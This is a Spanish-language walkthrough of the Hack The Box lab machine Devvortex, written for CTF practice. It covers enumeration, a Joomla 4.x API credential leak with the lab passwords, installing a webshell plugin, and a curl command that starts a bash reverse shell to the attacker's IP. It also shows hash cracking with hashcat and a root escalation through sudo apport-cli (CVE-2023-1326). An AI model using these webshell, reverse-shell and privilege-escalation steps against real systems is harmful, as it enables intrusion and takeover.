¿Estancado en Devvortex? ¿Buscas una guía paso a paso que te desvele todos los secretos de esta popular máquina de Hack The Box? Has llegado al lugar correcto. Devvortex es una máquina Linux clasificada como «fácil», ideal para solidificar tus bases en la metodología de hacking ético y CTF (Capture The Flag).
En este writeup detallado, te guiaremos desde la enumeración inicial de puertos y servicios hasta la explotación de vulnerabilidades web y la escalada de privilegios a root. Veremos cómo cada pieza del rompecabezas encaja, utilizando herramientas clave y técnicas esenciales para que no solo resuelvas la máquina, sino que también comprendas el «porqué» de cada acción.
¡Advertencia de Spoiler! Este artículo es una guía de resolución completa. Si prefieres intentar resolver la máquina por tu cuenta, te recomendamos hacerlo antes de leer.
Ficha Técnica de Devvortex
Para empezar, aquí tienes los detalles de la máquina que vamos a conquistar:
Dificultad: Fácil
Categoría: Linux
Dirección IP: 10.10.11.242
Sistema Operativo: Linux
Estado: Completada
Objetivo: Obtener las flags de user.txt y root.txt.
🧭 Fase 1: Enumeración – Descubriendo los Puntos de Entrada
La enumeración es el pilar de cualquier pentest o CTF. Es la fase donde recopilamos la máxima información posible sobre nuestro objetivo para identificar posibles puntos débiles.
Escaneo de Puertos con Nmap: Primer Contacto
Comenzamos con un escaneo de Nmap para identificar qué puertos están abiertos y qué servicios se están ejecutando en la máquina Devvortex.
nmap -sS -sV -p- --min-rate 5000 devvortex.htb
-sS: Realiza un escaneo SYN ("Stealth Scan"), más rápido y menos ruidoso que un escaneo completo.
-sV: Intenta determinar las versiones de los servicios que se ejecutan en los puertos abiertos.
-p-: Escanea todos los 65535 puertos, no solo los más comunes.
--min-rate 5000: Acelera el escaneo enviando paquetes a un ritmo mínimo de 5000 por segundo, útil para máquinas en la red de HTB.
devvortex.htb: El nombre de host de la máquina (asumiendo que lo has añadido a tu archivo /etc/hosts).
Resultados Clave:
El escaneo inicial nos revela dos puertos abiertos:
- 22/TCP – OpenSSH 8.2p1: El servicio SSH, que nos permitirá acceder por línea de comandos si obtenemos credenciales.
- 80/TCP – HTTP – Nginx 1.18.0: Un servidor web Nginx, que suele ser el punto de entrada más común en máquinas web.

Aunque usamos searchsploit inicialmente, no arrojó resultados directos. Esto es normal; a menudo, las vulnerabilidades se descubren tras una enumeración más profunda de los servicios y sus versiones.
Enumeración de Servicios: Profundizando en 80/TCP (HTTP)
Con el puerto 80 abierto, nuestro enfoque principal se dirige al servidor web.

- Exploración Manual del Sitio Web: Accedemos a http://devvortex.htb en nuestro navegador. A primera vista, la web es un sitio HTML básico con distintas páginas informativas. No hay una sección de login obvia ni elementos que salten a la vista como vulnerables.
- Análisis con WhatWeb: Para obtener más información sobre las tecnologías que componen el sitio web, ejecutamos whatweb
- Resultados de whatweb:
- Nginx 1.18.0: La versión del servidor web.Bootstrap 4.3.1: Un framework de CSS popular.JQuery 3.4.1: Una biblioteca de JavaScript.OWL Carousel: Un plugin de carrusel de imágenes.

Descubrimiento de Directorios y Subdominios: Dando con la Pista Clave
Dado que el sitio web no muestra vulnerabilidades obvias, el siguiente paso es buscar directorios ocultos y, crucialmente, subdominios.

- Dirbuster (Intento Inicial): Un escaneo inicial con Dirbuster puede revelar directorios estándar, pero a veces no es suficiente para sitios más complejos.
- FFuF para Subdominios: El Gran Hallazgo La clave en esta máquina se revela al buscar subdominios. Muchas aplicaciones web modernas utilizan subdominios para diferentes entornos (desarrollo, staging, etc.). Usamos ffuf para enumerar posibles subdominios virtuales:
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://devvortex.htb -H "Host: FUZZ.devvortex.htb" -mc all -fc 302
-w: Ruta a la wordlist (en este caso, una para subdominios).
-u: La URL base.
-H "Host: FUZZ.devvortex.htb: Esta es la parte crucial. Le decimos a ffuf que modifique la cabecera Host con cada palabra de la wordlist (donde FUZZ se reemplaza). Esto es vital para descubrir subdominios basados en host headers.
-mc all: Muestra todos los códigos de estado.
-fc 302: Filtra los resultados con código de estado 302 (redirecciones comunes que no suelen ser de interés).

¡Bingo! Hemos identificado un subdominio: dev.devvortex.htb. Es fundamental añadir esta entrada a tu archivo /etc/hosts (10.10.11.242 dev.devvortex.htb) para que tu sistema resuelva correctamente este nombre de host.
- Feroxbuster en el Nuevo Subdominio: Ahora que tenemos un nuevo punto de acceso, es momento de escanear directorios en dev.devvortex.htb. Utilizamos Feroxbuster por su velocidad y eficiencia:
feroxbuster -u http://dev.devvortex.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 50 -C 404,403,502
-u: La nueva URL base.
-w: Una wordlist de directorios más completa.
-x php,html,txt: Incluye extensiones comunes.
-t 50: Aumenta el número de hilos para mayor velocidad.
-C 404,403,502: Excluye códigos de error comunes que no son relevantes.
Descubrimiento Clave: Dentro de dev.devvortex.htb, encontramos el archivo README.txt. Al acceder a él (http://dev.devvortex.htb/README.txt), se revela una información vital: Joomla 4.x (y Joomla 4.2 version history). Esta es nuestra primera gran pista hacia la explotación.
⚔️ Fase 2: Explotación – Acceso al Servidor Web (www-data)
Con la confirmación de Joomla 4.x, nuestro enfoque se centra en buscar vulnerabilidades específicas de este CMS.
Información Relevante Recopilada:
La Vulnerabilidad de Joomla 4.x API
Investigando sobre vulnerabilidades de Joomla 4.x, descubrimos que existe una vulnerabilidad en la API de Joomla que permite enumerar usuarios o incluso obtener información sensible. Al revisar los exploits públicos, se identifica una forma de abusar de la API para extraer credenciales u otra información de la base de datos de Joomla.

Aprovechando esta vulnerabilidad, logramos obtener las credenciales de la base de datos y los usuarios lewis y logan.

Durante esta fase, es útil tener en mente toda la información que hemos ido descubriendo:
- Usuarios:
- lewis (Super User) – lewis@devvortex.htb
- logan (Registered) – logan@devvortex.htb
- Información del Sitio:
- Sitename: Development
- Editor: tinymce
- Información de la Base de Datos (del configuration.php u otra fuente):
- DB Type: mysqli
- DB host: localhost
- DB user: lewis
- DB password: P4ntherg0t1n5r3c0n##
- DB name: joomla
- DB prefix: sd4fg_
Acceso al Panel de Administración de Joomla
Con las credenciales de la base de datos (usuario lewis y contraseña P4ntherg0t1n5r3c0n##), probamos a acceder al panel de administración de Joomla, que se encuentra en la URL /administrator.
Accedemos a http://dev.devvortex.htb/administrator y nos logueamos con el usuario lewis y la contraseña P4ntherg0t1n5r3c0n##.

¡Acceso concedido! Estamos dentro del panel de control de Joomla como usuario lewis (Super User).
Obteniendo una Shell Reversa: El Módulo Webshell
Una vez dentro del panel de administración, el objetivo es conseguir una shell inversa. Intentamos subir una php reverse shell (generada con msfvenom) a la sección de imágenes o plantillas, pero a menudo los sistemas de gestión de contenido (CMS) tienen restricciones de tipo de archivo o permisos que lo impiden directamente.
La estrategia más efectiva en este caso es la de subir un módulo/plugin malicioso que nos dé acceso a una shell. Encontramos un módulo webshell para Joomla en GitHub (como el de p0dalirius/Joomla-webshell-plugin).
- Descargar y Comprimir el Módulo: Descargamos el plugin y lo comprimimos en un formato aceptado por Joomla (generalmente .zip).
- Subir e Instalar el Módulo: Desde el panel de administración de Joomla, navegamos a la sección de extensiones (System -> Install -> Extensions) y subimos el archivo .zip del módulo mod_webshell.
- Configurar un Listener: En nuestra máquina de ataque, configuramos un netcat listener en el puerto que hayamos elegido para la shell inversa (ej. 4444): Bash nc -nlvp 4444
- Ejecutar la Shell Inversa: Una vez que el módulo está instalado y habilitado, podemos acceder a su URL y ejecutar el comando para la shell inversa. A veces, los comandos largos con caracteres especiales pueden causar problemas de parsing en la URL o en la ejecución. Para evitar esto, podemos dividir el comando curl y encodificar los datos:
curl -X POST 'http://dev.devvortex.htb/modules/mod_webshell/mod_webshell.php' \
--data-urlencode "action=exec" \
--data-urlencode "cmd=/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.21/4444 0>&1'"
¡Importante! Asegúrate de reemplazar 10.10.16.21 con la IP de tu máquina de ataque. (Aquí irían las imágenes del proceso de instalación del webshell y la shell inversa en Netcat) Con esto, obtenemos una shell inversa en nuestra máquina de ataque como el usuario www-data. Este es el usuario predeterminado del servidor web y un paso crucial hacia la escalada de privilegios.
🧗 Fase 3: Escalada de Privilegios – De www-data a User (logan)
Ahora que tenemos una shell de www-data, necesitamos encontrar una forma de escalar a un usuario con más privilegios en el sistema.
Encontrando las Credenciales del Usuario logan en la Base de Datos
Sabemos que Joomla utiliza una base de datos. Como tenemos acceso a la base de datos de Joomla a través de las credenciales de lewis (DB user: lewis, DB password: P4ntherg0t1n5r3c0n##), podemos intentar acceder a ella para buscar más información.
Dentro de la base de datos de Joomla, en la tabla de usuarios, encontramos el hash de la contraseña para el usuario logan.
Para crackear este hash, necesitamos identificar el tipo de hash. En Joomla, las contraseñas suelen estar hasheadas con bcrypt (modo 3200 en Hashcat). Usamos una wordlist común como rockyou.txt:
hashcat -m 3200 -a 0 paulcredential.txt rockyou.txt
-m 3200: Especifica el modo de hash para bcrypt ($2y$).
-a 0: Modo de ataque de diccionario.
paulcredential.txt: Un archivo de texto que contiene el hash de la contraseña de logan extraído de la base de datos.
rockyou.txt: La wordlist de diccionario.
¡Éxito! Hashcat nos revela la contraseña del usuario logan: tequieromucho.
Acceso SSH como logan y Obtención de la Primera Flag
Con la contraseña de logan, intentamos acceder a la máquina vía SSH:
ssh logan@devvortex.htb

¡Acceso concedido! Hemos logrado iniciar sesión como el usuario logan. Inmediatamente, nos dirigimos a su directorio home para encontrar la primera flag: user.txt.

👑 Fase 4: Escalada de Privilegios – De User (logan) a Root
Con acceso como logan, el último paso es escalar privilegios a root para obtener la root.txt flag.
Análisis de sudo -l: La Pista Clave para apport-cli
Para ver qué comandos puede ejecutar logan con privilegios de root, usamos el comando sudo -l:
sudo -l

El resultado es muy prometedor: User logan may run the following commands on devvortex: (root) NOPASSWD: /usr/bin/apport-cli.
Esto significa que logan puede ejecutar la herramienta /usr/bin/apport-cli como root. apport-cli es una herramienta de Ubuntu utilizada para reportar errores del sistema.
Explotación de apport-cli (CVE-2023-1326-PoC)
Investigando sobre apport-cli y posibles vulnerabilidades, descubrimos que existe un PoC (Proof of Concept) para una escalada de privilegios a root a través de CVE-2023-1326. Esta vulnerabilidad permite a un atacante ejecutar comandos arbitrarios con privilegios de root a través de la opción de depuración de apport-cli.
Pasos para la Explotación:
- Ejecutamos apport-cli con la opción de depuración: sudo /usr/bin/apport-cli –debug-file
- Se abrirá un menú interactivo. Seleccionamos la opción 1.
- Luego, seleccionamos la opción 2 («Freezes or hangs during boot»).
- A continuación, se nos ofrecerá la opción de «view report». Seleccionamos esa opción.
- Esto abrirá un editor de texto (generalmente vi o nano). Dentro de este editor, podemos ejecutar comandos del sistema precediéndolos con un signo de exclamación !. Para obtener una shell de root, simplemente escribimos: !/bin/bash Y luego guardamos y salimos del editor.

¡Éxito! Al ejecutar !/bin/bash desde el editor de apport-cli, obtenemos una shell de root.
Finalmente, navegamos al directorio /root/ y obtenemos la última flag: root.txt.

Conclusión
Hemos recorrido todo el camino para resolver Hack The Box Devvortex, una máquina «fácil» que, sin embargo, nos enseña valiosas lecciones en la metodología de hacking ético.
Lecciones Aprendidas Clave:
- La importancia de la enumeración de subdominios: A menudo, los subdominios son puertas de entrada ocultas.
- Vulnerabilidades en CMS: Plataformas como Joomla, aunque populares, pueden tener fallos críticos si no se mantienen actualizadas o se configuran incorrectamente.
- Técnicas de obtención de shells: Desde el uso de módulos webshell hasta la correcta construcción de comandos para shells inversas.
- Escalada de privilegios vía sudoers: Siempre revisa los permisos de sudo -l para identificar binarios que pueden ser abusados.
- Conocimiento de CVEs: Identificar y explotar vulnerabilidades conocidas (CVE-2023-1326) es una habilidad esencial en el pentesting.
Esperamos que esta guía detallada te haya sido de gran ayuda para comprender y resolver Hack The Box Devvortex. Si has resuelto Devvortex de otra forma o tienes alguna pregunta, ¡déjanos tus comentarios abajo! Nos encantaría conocer tu enfoque y discutir diferentes soluciones. Para más writeups y guías de ciberseguridad, explora nuestros otros artículos y sigue mejorando tus habilidades.